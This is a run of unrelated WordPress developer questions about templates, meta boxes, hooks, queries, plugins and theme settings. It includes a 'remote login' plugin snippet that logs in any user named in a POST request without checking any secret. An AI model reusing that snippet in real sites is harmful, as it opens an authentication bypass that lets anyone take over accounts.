Why is custom template not seen as page with is_page()?

I created a couple of templates for a project, which is in fact a child theme of the Contrast theme. In the Wordpress CMS, I can select the templates I created: http://i.imgur.com/PYKqK.png (Can't post image, I'm too much of a newbie the site says...) In one of the functions of the theme (see background.php below), there is this check for conditions:               <?php if (is_page() || is_single()) { ?>      Which works on all my custom templates but two. I know for a fact that the two places where this fails are actually pages, but the value returned by `is_page()` is still empty, thus `false`. What should I look for in order to make sure these two templates are taken as pages? Or is it something else that I should look for? Below is the code for two templates. Keep in mind that I only touched the code relative to the content, not the if/elses at the beginning of the templates. At the bottom of the page is included a file that makes that check for the `is_page()`. Code for that file below as well. Textual Content Template (functional, returns a value for `is_page()`):               <?php     /*     Template Name: Textual Content Page     */     ?>          <?php get_header(); ?>              <?php             // transparent_layer             if(meta(array('id' => $post -> ID, 'meta' => 'transparent_layer')) == '0')             {                 if(option('transparent_layer') == '0')                 {                     $transparent = false;                 }                 elseif(option('transparent_layer') == '1')                 {                     $transparent = true;                 }             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'transparent_layer')) == '1')             {                 $transparent = false;             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'transparent_layer')) == '2')             {                 $transparent = true;             }                       // content_position             if(meta(array('id' => $post -> ID, 'meta' => 'content_position')) == '0')             {                 if(option('content_position') == '0')                 {                     $content_position = '0';                 }                 elseif(option('content_position') == '1')                 {                     $content_position = '1';                 }                 elseif(option('content_position') == '2')                 {                     $content_position = '2';                 }             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'content_position')) == '1')             {                 $content_position = '0';             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'content_position')) == '2')             {                 $content_position = '1';             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'content_position')) == '3')             {                 $content_position = '2';             }                       //portrait_fit             if(meta(array('id' => $post -> ID, 'meta' => 'portrait_fit')) == '1')             {                 $portrait = '1';             }         ?>
             <?php get_sidebar(); ?>
                 <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<?php the_title(); ?>

                     <?php the_content(__('Read More »', THEMENAME)); ?>                          <?php endwhile; else: ?>
<?php _e('Nothing found.', THEMENAME); ?>
                     <?php endif; ?>

                       <?php require_once(TEMPLATEPATH . '/assets/includes/theme-background.php'); ?>          <?php get_footer(); ?>      News Template (not functional, returns no value for `is_page()`):               <?php     /*     Template Name: News Page     */     ?>          <?php get_header(); ?>              <?php             // transparent_layer             if(meta(array('id' => $post -> ID, 'meta' => 'transparent_layer')) == '0')             {                 if(option('transparent_layer') == '0')                 {                     $transparent = false;                 }                 elseif(option('transparent_layer') == '1')                 {                     $transparent = true;                 }             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'transparent_layer')) == '1')             {                 $transparent = false;             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'transparent_layer')) == '2')             {                 $transparent = true;             }                       // content_position             if(meta(array('id' => $post -> ID, 'meta' => 'content_position')) == '0')             {                 if(option('content_position') == '0')                 {                     $content_position = '0';                 }                 elseif(option('content_position') == '1')                 {                     $content_position = '1';                 }                 elseif(option('content_position') == '2')                 {                     $content_position = '2';                 }             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'content_position')) == '1')             {                 $content_position = '0';             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'content_position')) == '2')             {                 $content_position = '1';             }             elseif(meta(array('id' => $post -> ID, 'meta' => 'content_position')) == '3')             {                 $content_position = '2';             }                       // portrait_fit             if(meta(array('id' => $post -> ID, 'meta' => 'portrait_fit')) == '1')             {                 $portrait = '1';             }         ?>
             <?php get_sidebar(); ?>

<?php the_title(); ?>

                     <?php                         // loop through posts in news category                         // -1 means all posts... not really intuitive                         // see http://www.binarymoon.co.uk/2010/03/5-wordpress-queryposts-tips/                         $query = array  (                                             'posts_per_page' => -1,                                             'category_name' => 'news'                                         );                         query_posts($query);                         while(have_posts()) : the_post();                              // get post raw date                         $date = get_the_date();                     ?>                         <a                              href="<?php the_permalink(); ?>"                              class="news-link"                             >                             <?php the_title(); ?>                             <?php echo $date; ?>                                                   <?php                         endwhile;                     ?>

                       <?php require_once(TEMPLATEPATH . '/assets/includes/theme-background.php'); ?>          <?php get_footer(); ?>      As you can see, background.php is included at the bottom of these templates. This file comes from the parent theme, which I did not edit. Below is its code:
         <img src="<?php bloginfo('template_url'); ?>/assets/images/loading.gif" alt ="Loading" />

                  <?php if (is_page() || is_single()) { ?>                      <?php if (meta(array('id' => $post->ID, 'meta' => 'post_background')) == '1') { ?>                                                <?php } elseif (meta(array('id' => $post->ID, 'meta' => 'post_background')) == '2') { ?>                          <img src="<?php echo meta(array('id' => $post->ID, 'meta' => 'post_background_image')); ?>" alt="" class="background" />                      <?php } elseif (meta(array('id' => $post->ID, 'meta' => 'post_background')) == '3') { ?>                                                <?php } elseif (meta(array('id' => $post->ID, 'meta' => 'post_background')) == '4') { ?>                          <?php if (meta(array('id' => $post->ID, 'meta' => 'post_background_google_maps_gradient')) == '1') { ?>

                     <?php } ?>                          <iframe width="100%" height="100%" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="<?php echo meta(array('id' => $post->ID, 'meta' => 'post_background_google_maps')); ?>">                      <?php } elseif (meta(array('id' => $post->ID, 'meta' => 'post_background')) == '5') { ?>

                      <?php } elseif (meta(array('id' => $post->ID, 'meta' => 'post_background')) == '6') { ?>                          <video id="video" class="background">                         <?php if (meta(array('id' => $post->ID, 'meta' => 'post_background_mp4_video')) != '') { ?>                         <source src="<?php echo meta(array('id' => $post->ID, 'meta' => 'post_background_mp4_video')); ?>" type="video/mp4" />                         <?php } ?>                         <?php if (meta(array('id' => $post->ID, 'meta' => 'post_background_webm_video')) != '') { ?>                         <source src="<?php echo meta(array('id' => $post->ID, 'meta' => 'post_background_webm_video')); ?>" type="video/webm" />                         <?php } ?>                         <?php if (meta(array('id' => $post->ID, 'meta' => 'post_background_ogv_video')) != '') { ?>                         <source src="<?php echo meta(array('id' => $post->ID, 'meta' => 'post_background_ogv_video')); ?>" type="video/ogg" />                         <?php } ?>                     </video>                                                <?php } ?>                      <?php if (meta(array('id' => $post->ID, 'meta' => 'post_background_image_pattern')) == '1') { ?>                     <div class="pattern pattern-0<?php echo meta(array('id' => $post->ID, 'meta' => 'post_background_pattern')); ?>">
                 <?php } ?>                  <?php } ?>


Problem with meta box in Links

I have troubles saving the data of the meta box in the link part of the admin. My code is working, because when I try it in the post or page part, it saves the data, but in Links it just won't. Here is my code. Should I write something else instead of 'save_post' ? I saw some used 'save_link' ans tried even though people replying said it didn't exist, but it doesn't work... What I mean by that is that it works when I add it to post or page, but when I change 'page' (or 'post') to 'link' when I add the meta box, nothing is saved, and my input comes back blank when I go to the link form again, when I should have the link of my image. The data isn't saved in the database either and I have no idea why. Here is my code :                   add_action( 'admin_init', 'meta_boxes_setupa' );     function meta_boxes_setupa() {         add_action( 'add_meta_boxes', 'mytheme_add_box' );         add_action( 'save_post', 'mytheme_save_data', 10, 2 );     }     // add_action('admin_menu', 'mytheme_add_box');     // Add meta box     function mytheme_add_box() {             add_meta_box(                             'my-meta-box',                             'Ajouter le logo de la société',                             'mytheme_show_box',                             'link',                             'normal',                             'high'             );     }          // Callback function to show fields in meta box     function mytheme_show_box( $object, $box ) {             // global $post;             // echo '<input type="hidden" name="mytheme_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';             // $meta = get_post_meta($post->ID, '_upload_image', true);             ?>             <?php wp_nonce_field( basename( __FILE__ ), 'url_nonce' ); ?>                     <label for="upload_image">Sélectionner le logo : </label>                     <input type="text" name="upload_image" id="upload_image" value="<?php echo esc_attr( get_post_meta( $object->ID, '_upload_image', true ) ); ?>" size="40" readonly="readonly" />                     <input type="button" name="upload_image_button" id="upload_image_button" value="Parcourir" ?>             <?php     }               // Save data from meta box     function mytheme_save_data($post_id, $post) {             if ( !isset( $_POST['url_nonce'] ) || !wp_verify_nonce( $_POST['url_nonce'], basename( __FILE__ ) ) )             return $post_id;              $post_type = get_post_type_object( $post->post_type );         /* Check if the current user has permission to edit the post. */         if ( !current_user_can( $post_type->cap->edit_post, $post_id ) )             return $post_id;              /* Get the posted data and sanitize it for use as an HTML class. */             $new_meta_value = ( isset( $_POST['upload_image'] ) ? sanitize_html_class( $_POST['upload_image'] ) : '' );         /* Get the meta key. */         $meta_key = '_upload_image';         /* Get the meta value of the custom field key. */         $meta_value = get_post_meta( $post_id, $meta_key, true );         /* If a new meta value was added and there was no previous value, add it. */         if ( $new_meta_value && '' == $meta_value )             add_post_meta( $post_id, $meta_key, $new_meta_value, true );         /* If the new meta value does not match the old value, update it. */         elseif ( $new_meta_value && $new_meta_value != $meta_value )            update_post_meta( $post_id, $meta_key, $new_meta_value );         /* If there is no new meta value but an old value exists, delete it. */         elseif ( '' == $new_meta_value && $meta_value )             delete_post_meta( $post_id, $meta_key, $meta_value );     }          function my_admin_scripts() {             wp_enqueue_script('media-upload');             wp_enqueue_script('thickbox');             wp_register_script('my-upload', get_bloginfo('template_url') . '/functions/my-script.js', array('jquery','media-upload','thickbox'));             wp_enqueue_script('my-upload');     }     function my_admin_styles() {             wp_enqueue_style('thickbox');     }     add_action('admin_print_scripts', 'my_admin_scripts');     add_action('admin_print_styles', 'my_admin_styles');      Thank you for your help !


Gravity Forms Post method

I have a simple form that users will fill out which will in turn become a post on my site. I have 2 problems:   1. I am using the Post title, Post Custom Field elements (for single line text) and Post Body element (for paragraph text). When I submit my test form though, only the title is appearing, none of the data I wrote in the custom field elements.    2. Is there a setting I can use to have the title of fields show up in my post? (i.e, Name field would actually show "Name: Whatever the user typed in" on the post?) When I was able to get one of the body fields to appear on the post, it only had the information I typed in, not the title. Maybe I am not using the post fields correctly, so any direction/opinions would help! Thanks


Importing data for advanced custom fields plugin?

I have a member section built using the http://www.advancedcustomfields.com plugin. There are 300 members that each have the following data:   * Company name   * Specialism (check boxes)    * Web address   * Telephone number   * Region   * Address   * Email What's the best way to import into the database? How should I setup a csv file? I haven't added the 300 member pages, I just have these custom fields setup using the plugin.


Posts from multiblt categories but featured image only in the first one, the rest to have the post title only

I'm having difficulties to set the featured image only in the first post of each category and the rest to displayed with the post title only. I manage until now to display the latest post from each category with thumbnail but i cannot find the way to make the first post only with thumbnail and the rest with titles. is there a solution? Here is my code:                               <?php                         //get terms (category ids 11,2,33,34), then display one post in each term                         $taxonomy = 'category';//  e.g. post_tag, category                         $param_type = 'category__in'; //  e.g. tag__in, category__in                         $term_args=array(                           'include' => '4,5,6,7',                           'orderby' => 'name',                           'order' => 'ASC'                         );                         $terms = get_terms($taxonomy,$term_args);                         if ($terms) {                           foreach( $terms as $term ) {                             $args=array(                               "$param_type" => array($term->term_id),                               'post_type' => 'post',                               'post_status' => 'publish',                               'posts_per_page' => 1,                               'caller_get_posts'=> 1                               );                             $my_query = null;                             $my_query = new WP_Query($args);                             if( $my_query->have_posts() ) {                               //Panikos Remove   echo 'Latest Post in '.$taxonomy .' '.$term->name;                               while ($my_query->have_posts()) : $my_query->the_post(); ?>
                                                                            <?php                                 $image_id = get_post_thumbnail_id();                                 $image_url = wp_get_attachment_url($image_id);                                 if ($image_url) {                                 ?>                                 <img src="<?php bloginfo('template_directory'); ?>/scripts/timthumb.php?src=<?php echo $image_url; ?>&w=196&h=115&q=1000" alt="<?php the_title();?>" />                                                                   <?php } else { ?>                                 <img src="<?php echo bloginfo('template_directory') . '/images/no-image.jpg'; ?>" alt="No image available" class="panikosule" />                                 <?php } ?>                                           <a href="<?php the_permalink() ?>" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?>                                 <?php the_excerpt(); ?>
                                <?php                               endwhile;                             }                           }                         }                         wp_reset_query();  // Restore global post data stomped by the_post().                         ?>


Can I remove the Rich Text box editor for a specific post?

A few months ago I asked a similar question: Is it possible to remove the main rich Text box editor? and got the following answer:               function remove_pages_editor(){         remove_post_type_support( 'page', 'editor' );     }        add_action( 'init', 'remove_pages_editor' );      This code removes the editor from **all pages**. Can I remove if from specific pages (by post-ID) somehow? Thanks!


Threaded comments not working

Hi I am trying to add threaded comments to my theme, I have enabled them through the admin settings. Allowing the "Reply" link to show, when posting a threaded comment it appears there is no ul id/class children. They seem to just be normal comments, I have read some tutorials and all say that when you enable the threaded comments thats it.


Errors while submitting comments - header already sent by

I'm total beginer in codding and hope that someone can help me here. I'm having issues with posting comments on my site. The following errors appear: > Warning: Cannot modify header information - headers already sent by (output > started at /var/www/…/wp-comments-post.php:1) in /var/www/…/wp- > includes/comment.php on line 621 > > Warning: Cannot modify header information - headers already sent by (output > started at /var/www/…/wp-comments-post.php:1) in /var/www/…/wp- > includes/comment.php on line 622 > > Warning: Cannot modify header information - headers already sent by (output > started at /var/www/…/wp-comments-post.php:1) in /var/www/…/wp- > includes/comment.php on line 623 > > Warning: Cannot modify header information - headers already sent by (output > started at /var/www/…/wp-comments-post.php:1) in /var/www/…/wp- > includes/pluggable.php on line 875 The fact is that comments are submitted, but instead of thank you page I see these errors. They started appearing after I modified my wp-comments-post.php file. I added text in warning messages (lines 78, 79, 82, 83, 88, 89). I really need it there, but have now idea how to make it work... Please, help me! Link for source code: http://pastebin.com/zZYAyaUx


passing parameters to do action from shortcode to wp_footer

Driving me nuts. I have a shortcode which works -fine- but for one detail. I won't post the entire thing, but it pulls the content of a post (works fine) then should echo a portion of it to a new DIV in the footer. I'm doing it this way because, apparently, you can't pass variables to an anonymous function with add_action.               add_shortcode('tooltip', 'tooltip');     function tooltip( $atts, $content=null) {        $output = '...some stuff from another post.';       //...working fine...            do_action( 'jch_tooltip_func', 'text to put in footer' );       // the text arg is never passed to jch_tooltip_func();            return $output;          }          add_action('wp_footer', 'jch_tooltip_func', 100, 1);          function jch_tooltip_func( $d ) {        echo('
DIV TEST:' . $d . 'END
' );         return($d);     }      ...so 'text to put in footer' should be passed to jch_tooltip_func() and then placed my footer via wp_footer. But the argument never gets passed. Why oh why? TIA, ---JC


Enable sticky posts to custom post_type

i have this custom post_type: tvr_apartment               function custom_post_apartment() {             $labels = array(                 'name'                => 'Apartments',                 'singular_name'       => 'Apartment',                 'add_new'             => 'Add New',                 'add_new_item'        => 'Add New Apartment',                 'edit_item'           => 'Edit Apartment',                 'new_item'            => 'New Apartment',                 'all_items'           => 'All Apartments',                 'view_item'           => 'View Apartment',                 'search_items'        => 'Search Apartments',                 'not_found'           => 'No apartments found',                 'not_found_in_trash'  => 'No apartments found in trash',                 'parent_item_colon'   => '',                 'menu_name'           => 'Apartments'             );                  $args = array(                 'labels' => $labels,                 'public' => true,                 'query_var' => true,                 'rewrite' => true,                 'capability_type' => 'post',                 'has_archive' => true,                 'hierarchical' => false,                 'menu_position' => null,                 'taxonomies' => array('rf_apartment_feature'),                 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt' )             );                  register_post_type( 'tvr_apartment', $args );         }      And I would like to enable the sticky post functionality to it, ![enter image description here](http://i.stack.imgur.com/dctDh.png) I searched here: http://codex.wordpress.org/Function_Reference/post_type_supports But i it seems is not the way to go, any ideas?


Can I get an email notification when media is uploaded to the media library?

I have a front end uploader for members only, utilizing this code:               <?php     function insert_attachment_form($postID) {     ?>     <form id="file-form" name="file-form" method="POST" action="" enctype="multipart/form-data" >         <input type="file" id="async-upload" name="async-upload" />         <input type="hidden" name="postID" value="<?php echo $postID; ?>" />         <?php wp_nonce_field('client-file-upload', 'client-file-upload'); ?>         <input type="submit" value="Upload" id="submit" name="submit" />     </form>     <?php }           function process_attachment() {     // verify this came from the our screen and with proper authorization,     // because save_post can be triggered at other times     if ( !wp_verify_nonce( $_POST['client-file-upload'], 'client-file-upload') ) {         return $post->ID;     }          // Is the user allowed to edit the post or page?     if ( !current_user_can( 'publish_posts', $post->ID ))         return $post->ID;          if( 'POST' == $_SERVER['REQUEST_METHOD'] && !empty( $_FILES )) {         require_once(ABSPATH . 'wp-admin/includes/admin.php');         $id = media_handle_upload('async-upload', $_POST['postID']);         unset($_FILES);     }     }?>      Ideally I would like to have the drag-and-drop WordPress file uploader here, or at the very least, a progress indicator. But I digress (though, bonus points if you can lead me toward that) - This is going to be an area where clients upload files for us. I need an email to be generated somehow along with this, to an admin. Any ideas?


Wordpress 3.3.1 not cropping featured image

When I add a featured image to any post the image is not cropped but it is always displayed full size. The media settings are ok... even when I call `<?php the_post_thumbnail(); ?>` in my theme, the full image is shown instead of the thumbnail. What I am doing wrong? It is probably my 30th Wordpress based site and I never had this problem before. Thanks


Where is this function's callback getting its arguments from?

This might be better suited to Stack Overflow, thought I'd try here first though. I was walking through this tutorial by Justin Tadlock and encountered the function below being used as the callback argument for the `add_meta_box` function. My questions concern the parameters...               function smashing_post_class_meta_box( $object, $box ) {          wp_nonce_field( basename( __FILE__ ), 'smashing_post_class_nonce' );          $output = '
';     $output .= 'Add a custom CSS class, which will be applied to WordPress\' post class.';     $output .= '
';     $output .= '<input class="widefat" type="text" name="smashing-post-class" id="smashing-post-class" value="' . esc_attr( get_post_meta( $object->ID, 'smashing_post_class', true ) ) . '" size="30" />';     $output .= '
';          echo $output;     }      I'm assuming `$object` is the global `$post` object? Where does it come from, how does it get passed into the callback? It also seems as though `$box` is unused, is that some sort of PHP in/out parameter? I've seen this kind of stuff scattered around WordPress, and my PHP knowledge is limited to WP so I'm not sure what exactly I'm seeing. I did a quick search at PHP.net and around the Codex, any info would be appreciated.


Theme Checker Text Domain

`$output .= '<li class="recentcomments">' . sprintf(_x('%1$s %2$s - %3$s %4$s', 'thst'), get_avatar( $comment, 48 ), (...);` This is my line of code and Wordpress Theme Checker tells me "Text domain problems. You have not included a text domain!" I have included one though, as you can see. What could be the problem here?


Weird Issue with load balanced WP 3.0 setup

I have a wordpress MU (3.0.1) setup (upgraded from 2.9.2). It runs on 4 instances, load balanced, and all 4 connect to same database. Now, when only one instance is running, it is working fine... When I run multiple instances, I am not able to trash or undo trash or even do any change in settings .. I get this message:               Are you sure you want to do this?          Please try again.      the URL when this occurs is               mblogs.com/testblog/wp-admin/post.php?post=9&action;=trash&_wpnonce=8f5a697d1e      What could be the issue and how to fix it?


Plugin to edit htaccess file

Is there anyway I can edit my htaccess file without using ftp?


Post-by-mail similar to WordPress.com or Posterous?

A standard WordPress installation has very basic support for posting via e-mail. Is there a plugin that gives the same functionality as WordPress.com (especially attachment handling)? My client is in love with Posterous, and I could set up the XML-RPC bridge so new posts go to WordPress, but I'd rather stay in WordPress so I could add advanced handling of custom post types and taxonomies myself once we get the basics running.


How to load plugin static data from cloudfront

I am moving my site's static content data to Amazon S3+ CloudFront and i am successful in doing this for most part of my site (no plugin used) except for the plugin section. For the plugin i am thinking to rewrite its URL so that they can be mapped with my Amazon CDN URL. for e.g as of now all images/css and js file for the plugin are served with this URL               www.myblog.com/wp-content/plugins/plugin-name/file(s)      and my plan is to reqwrite such URL's with               www.mycdn.com/wp-content/plugins/plugin-name/file(s)      not sure how this can be done in wordpress, any pointer will really be helpful


post meta data clearing on autosave

For starters I am using this GREAT answer to achieve custom post types as well as a custom way to insert those post types into other pages, you can view that answer here: Custom field/meta populated by dropdown of existing posts? I am running into a problem however when wordpress auto saves itself, it clears whatever metadata i have put into the forms. EXAMPLE: I select the 3 drop downs I want from my metabox and hit update. The page reloads and the 3 choices are still selected. In phpMyAdmin i can look up the metadata and see the array in place as it should be. I now wait for wordpress to auto save. As soon as this happens i can either refresh the page (not update, just refresh) and the metadata is lost, or i can look up the metadata in phpMyAdmin and it will display nothing (ie: its gone). I'm guessing that this has something to do with needing to tie into another hook (some sorta auto update hook) or something, but even then it doesn't make sense that it would actually delete your metadata (rather than just not auto updating it). Last note: If you copy and paste Mikes code into functions.php, you should be able to recreate my error (in wordpress 3.1) very easy.


Help - Why my roles are not showing? Multi-site/Network

My network is showing roles in some sites and not in others. For some reason that I can't explain, when I add a new user, I have no role to choose from on the drop down box of a sub-site in my network. Also my new user assigned to a site is not showing on my list of users for that site. Is this something fixable? Below an image of the current situation. http://cl.ly/58xU ![Roles not Showing](http://i.stack.imgur.com/dUvoG.jpg) Below is the picture showing the main site with the roles properly there, but the sub-sites of the network don't. ![Roles showing](http://i.stack.imgur.com/1HXUT.jpg)


How do add custom class and id to the <a> that is generated from media gallery insert image into post

I want id="fancybox" and rel="photogallery" added to the generated automatically once it is "inserted into post" from the media gallery. Thanks in advance!!!


Filter wordpress post categories with jquery/ajax and pagination?

Currently I have a website working with Wordpress and Jquery Quicksand (http://razorjack.net/quicksand/). However I don't want to show all posts at the same time. I wish to show e.g. 6 posts and then have a pagination. And that's where I get the problem. If I have a filter on the first page with posts, it just filters those posts, and not the ones on the other pages. Like this (example from tutsplus.com) And that's not intuitive at all. Not being able to navigate from one page to another within a filter is just not userfriendly. I haven't found any tutorial on this, but I found a working example, using quicksand. So it is possible. So I was wondering if someone might help me, or possibly have a better solution that the working example? The reason I added ajax in the title is because I thought it might be a better solution doing a new wp_query via ajax instead of loading all posts in multiple lists and show/hide them with the filters.


NON Static-Front Page

* There is lot of documentation on how to have a static front-page in wordpress.    * I need to have a dynamic front page, in particular a group from buddy press. The link is www.domain.com/groups/challenge-6/ Do I need to update the template or there is a plugin I can use?


What function does the loop of displaying posts?

What is the function that does the echoing of posts like post title in h1 and then the post body and then the author name. I hope everyone understood what I'm trying to say else please ask in comments I'll explain.


How to add div to top menu itiem

XXX

      Where "XXX" I want to put The reason I want to do it is that I'm coding top menu and I want to display a picture on hover of the link. It would be like that: .menu ul li:hover myClass { display:block; } Example of what effect I am trying to accomplish can be see in top menu here http://www.templatemonster.com/demo/37119.html I've searched all the template files and it seems that this link is generated somewhere in php file in wp-content folder and I can't find it. * * * I've solved the problem. The solution was that I don't need to edit any stuff in wp-includes.I only needed to add parameters in my template file. In the beggining I had this code in header:               <?php wp_nav_menu( array( 'container_class' => 'menu-header', 'theme_location' => 'primary') ); ?>      So I just added `'link_after' => '<div class="one"></div>',` after `array(` and it worked fine. Thanks you Bainternet :)


Remote login with only the username not working

I'm writing a module for remote login into another WP site via my plugin's admin. This is the code I'm using on the sender side:               <?php     add_action('init', 'connect');     function connect()     {              //I submit the username via a form in my plugin admin page         if(isset($_POST['username']) && $_POST['username'] != '')         {             $name = $_POST['username'];             $response = wp_remote_post( 'http://the-subsite.com/', array( 'body' => array( 'username' => $name )));         }              if(isset( $response ) && is_wp_error( $response ) )          {             echo 'Something went wrong!';         }          else if(isset( $response ))         {             echo 'Response:<pre>';             print_r( $response );             echo '</pre>';         }     }     ?>      And on my receiving end, I have put the plugin with the following code:               <?php     add_action('init', 'test');          function test()     {         //The following code works and logs in the site ONLY when I remove the         //'if' condition and hardcode the username instead of getting it from the         //$_POST array, even though I get the username properly in the $_POST array and the code shows no errors              if(isset($_POST['username']))         {             $username = $_POST['username'];             $user_info = get_user_by('login', $username);             $user_id = $user_info->ID;             wp_set_current_user( $user_id );             wp_set_auth_cookie( $user_id );             exit;         }     }     ?>      So how do I login only when I get the `username` variable in my `$_POST` array? Precisely how do I execute the login only when I submit the form on my sender side?


Role Column Sorting

I'm trying to add sorting on Role column on user listing by desc and asc but I can get it work, it always show "No matching users were found." below are my code               add_filter( 'manage_users_sortable_columns', 'wp420_user_sortable_columns' );     function vma_user_sortable_columns( $columns ) {              $columns['role'] = 'role';              return $columns;          }          add_action('pre_user_query','wp420_pre_user_query');          function wp420_pre_user_query($user_search) {              global $wpdb,$current_screen;              if ( 'users' != $current_screen->id )         return;              $vars = $user_search->query_vars;              if ('role' == $vars['orderby']){                  $user_search->query_from .= " INNER JOIN {$wpdb->usermeta} m1 ON {$wpdb->users}.ID=m1.user_id AND (m1.meta_key='wp_user_level')";                  $user_search->query_orderby = ' ORDER BY UPPER(m1.meta_value) '. $vars['order'];              }     }


Query the Loop without breaking it

Im trying to make different querys in my category like one with a offset of post and one that shows one post but while it continues to go through the loop, this is what i have but the loop keeps repeating itself i almost think im not doing it correctly. Anyone know whats wrong?               <?php if (have_posts()) : $count = 0; ?>

<a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?>

                                     <?php query_posts('showpost=1'); ?>                                      <?php while (have_posts()) : the_post(); ?>

                                     <?php endwhile ?>                                     <?php wp_reset_query(); ?>

                                     <?php query_posts('showpost=4&offset=1'); ?>                                      <?php while (have_posts()) : the_post(); ?>

<a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?>

                                     <?php get_the_excerpt_limit( 200, '... Read More »' ); ?>

                                     <?php endwhile ?>                                     <?php wp_reset_query(); ?>                                               <?php query_posts('offset=4'); ?>                                      <?php while (have_posts()) : the_post(); ?>

<a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?>

                                          <?php get_the_excerpt_limit( 200, '... Read More »' ); ?>

                                     <?php endwhile ?>                                     <?php wp_reset_query(); ?>                                             <?php endwhile ?>


Populate a custom field dropdown with post titles by author

Just getting into wordpress and learning a lot! I know how to create a custom field and use it for basic purposes. I'm trying to do a little more now...I'm hoping someone can help me. Here is the scenario: I have businesses and events section on my website. Businesses use the default "posts" from wordpress, "events" are a custom post type. I want to create a custom field to use for events that populates a dropdown list of the business posts the current user is the author of, effectively linking the two together. This way the user can only see the business posts they've created in the list and can not create events and link them to random businesses. I've tried utilizing the "LittlePromoBox" class found in this post. But have had no luck...I've tried to understand the logic but its too advanced for me at this point..can anyone help me out?


How to enqueue some javascript source once per page

I need my plugin to generate the following - once per page:               <script type="text/javascript" src="https://<ritc url for js file>"></script>     <script type="text/javascript">     ritc.initialize('63864593a4153879');     </script>      The purpose of this is to allow one or more shortcodes - all requiring the same initialization - to be on a page. I can use wp_enqueue_script() in the shortcode function - this works for the first line ie.               <script type="text/javascript" src="https://<ritc url for js file>"></script>      But how do I generate the next lines to follow - and only once on the page? ie.               <script type="text/javascript">     ritc.initialize('63864593a4153879'); (one line within script tags)     </script>      Is there anything like wp_enqueue_script() but which takes a string instead of a url? The string would be the one-liner above. Not to forget the dependency on the first line above. Or should I just generate the javascript from the shortcode function, managing it so it only appears once in the page? (How do I do this? Is there a global variable I can use?) Or is there another approach to doing this? Thanks in anticipation. Colin G


how to change/remove/hide menu under installed plugins

Recently I install one plugin. After installing the "bookingwizz" plugin, the menu added in menu. Under bookingwizz I now have some submenu as well. Now I don't need all those menu items, but want to keep some and change some name and remove some. So how would I do that? I tried to search in that plugins file and also in database, but never found anything. Here's a screenshot of the menu > ![enter image description here](http://i.stack.imgur.com/1lZAQ.png)


Does the FD Feedburner plugin create feeds for categories

I have setup the FD Feedburner plugin. I want to get feeds for each of my categories. Do I need to manually create feeds for categories in Feedburner? or Does the plugin automatically create feeds for categories. Here is another older link to the plugin


Dynamically add id to heading tags

How do I add an id attribute dynamically to every heading tag on a wordpress website using php? I wanted to make it so that for every heading tag (h1, h2, h3, h4, h5, h6) I have a unique id attached so that it would be like: `<h1 id="this_is_sparta">This Is Sparta</h1>` So I can link to it using `<a href="#this_is_sparta">Go to This Is Sparta</a>` I've been looking for a solution to this for hours now, and I can't seem to find anything, so if someone can please help, anything would be appreciated! If it must be done manually, all is ok, I just need an easier way to do this for a client.


Customizing admin look and feel for just one particular type of user

Is it possible to change the admin look and feel for just one particular type of user or a group of users. This is not a major requirement for what I am doing at present but a nice to have feature. Just wanted to know if it is possible.


Need help finding the right plugin for a dynamic piece of content that appears multiple places

I'm trying to find the perfect plugin for what I need to do. I have a blog that has posts about games. each post will have a category that assigns it to its game (although it could have another related field if need be). I need to have a block of HTML that appears at the bottom of all posts that are in the same category (think "where to buy this game" links) that should be entered only once. Ideally, they could edit this HTML or the content for this HTML in the admin, but I'll take what I can get. Anything come to mind?


How to use numbered lists in the post editor?

I have troubles to use numbered lists in the post editor. I want to have a numbered list where each number could have few paragraphs inside. Something like   1. List one some text paragraph two for list one   2. List two list text for list two * * * I had troubles to make the numbering continuous so I switched to text version and updated the code so it does what I wanted. Saved and refreshed the post page and saw exactly what I wanted. Then I go back to the post switch to visual and the post is reformatted. For example the ol tag is doubled

      So the numbering is wrong, wrong indentation etc. Any idea how I can make this work?


Theme localization in WPML - .mo file error

We are creating a multi-lingual multi-site (on sub-domains/domain mapping) on Wordpress. We recently bought WPML Wordpress plugin and installed it on the basic language (English) version. Now we are trying to work on Theme Localization.   Here we are following the steps as in this guide. Here we are being instructed to install a `.mo` file in Language locale settings. We are getting an error _File not found_ (under MO file in `wp-content/Languages`). This `.mo` file was downloaded from http://code.google.com/p/nextgen- gallery/downloads/detail?name=nggallery-zh_CN.mo. Can anyone help? Is this `.mo` file the correct version? Is there any other source to get the correct .mo file? Are we using the right approach for theme localization?


How to edit default post settings

I want to delete content block and add custom fields for image, like on this screenshot. I don't want to add custom content type, I just want to edit defalt post type. Any solution?


What is rel="pingback", and what is the use of this in my website?

May be this is a silly question, I actually want to know what is this URL? It's present in my website. `<link rel="pingback" href="http://www.example.com/xmlrpc.php" />` My questions are:   1. What is the use of this?   2. Does this link makes any problems?


How can I change the <img src> to <data-original> for lazyload wp smilies

I tried to improve my WordPress performance, and already put the content `<img>` with jQuery LazyLoad. Now, I got some problem in changing the smilies `src`, already set the theme smilies add Used:               add_filter('smilies_src','light_smilies_src',1,10);          function light_smilies_src($img_src,$img,$siteurl) {         return get_bloginfo('template_directory').'/images/smilies/'.$img;     }      When I added...               $img="<img data-original=\"{$file}\" alt=\"{$smile}\" />";      it shows...               <src="data-original="http://XXX.com/wp-content/themes/Moxx/images/smilies/icon_mad.gif"..      How can I change it to something like below?               <src="" data-original="http://XXX.com/wp-content/themes/Moxx/images/smilies/icon_mad.gif"


Google map that opens in a new window

